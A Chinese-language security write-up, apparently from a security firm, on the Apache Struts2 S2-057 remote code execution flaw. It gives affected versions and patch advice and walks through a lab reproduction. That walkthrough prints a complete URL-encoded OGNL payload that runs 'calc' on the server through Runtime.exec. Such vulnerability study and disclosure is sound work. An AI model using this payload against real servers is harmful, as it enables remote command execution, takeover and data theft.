域名預(yù)訂/競(jìng)價(jià),好“米”不錯(cuò)過(guò)
S2-057漏洞,于2018年8月22日被曝出,該Struts2 057漏洞存在遠(yuǎn)程執(zhí)行系統(tǒng)的命令,尤其使用linux系統(tǒng),apache環(huán)境,影響范圍較大,危害性較高,如果被攻擊者利用直接提權(quán)到服務(wù)器管理員權(quán)限,網(wǎng)站數(shù)據(jù)被篡改,數(shù)據(jù)庫(kù)被盜取都會(huì)發(fā)生。
目前我們SINE安全對(duì)該S2-057漏洞的測(cè)試,發(fā)現(xiàn)受影響的版本是Apache Struts 2.3–ApacheStruts2.3.34、Apache Struts2.5–Apache Struts2.5.16等系列版本。官方Apache已經(jīng)緊急的對(duì)該S2-057漏洞進(jìn)行了修復(fù)。
通過(guò)國(guó)外曝出來(lái)的漏洞poc,我們來(lái)介紹下Struts2漏洞該如何的利用:
S2-057漏洞產(chǎn)生于網(wǎng)站配置xml的時(shí)候,有一個(gè)namespace的值,該值并沒(méi)有做詳細(xì)的安全過(guò)濾導(dǎo)致可以寫入到XML上,尤其url標(biāo)簽值也沒(méi)有做通配符的過(guò)濾,導(dǎo)致可以執(zhí)行遠(yuǎn)程代碼,以及系統(tǒng)命令到服務(wù)器系統(tǒng)中去。
我們首先來(lái)搭建下struts2的環(huán)境,找一臺(tái)windows服務(wù)器,使用一鍵部署工具部署好測(cè)試環(huán)境,vulhub環(huán)境也搭建好如下圖:
接下來(lái)就是Struts2漏洞的利用與復(fù)現(xiàn)過(guò)程:
訪問(wèn)網(wǎng)站192.168.0.3:7080/struts2/${(sine+sine)}/actionChain.action
將${(sine+sine)}里的內(nèi)容換成exp,EXP內(nèi)容如下:
%24%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27calc%27).getInputStream()%2c%23b%3dnew+java.io.InputStreamReader(%23a)%2c%23c%3dnew++java.io.BufferedReader(%23b)%2c%23d%3dnew+char%5b51020%5d%2c%23c.read(%23d)%2c%23jas502n%3d+%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23jas502n.println(%23d+)%2c%23jas502n.close())%7d/actionChain.action
復(fù)制exp內(nèi)容到瀏覽器執(zhí)行,發(fā)現(xiàn)服務(wù)器會(huì)直接運(yùn)行計(jì)算器如下圖:
S2-057漏洞修復(fù)建議:
升級(jí)到Apache Struts最新版本2.3.35或者是Apache Struts最新版本2.5.17,直接升級(jí)即可官方已經(jīng)做好漏洞補(bǔ)丁,完全兼容。
本文來(lái)源:www.sinesafe.com
申請(qǐng)創(chuàng)業(yè)報(bào)道,分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處,共同探討創(chuàng)業(yè)新機(jī)遇!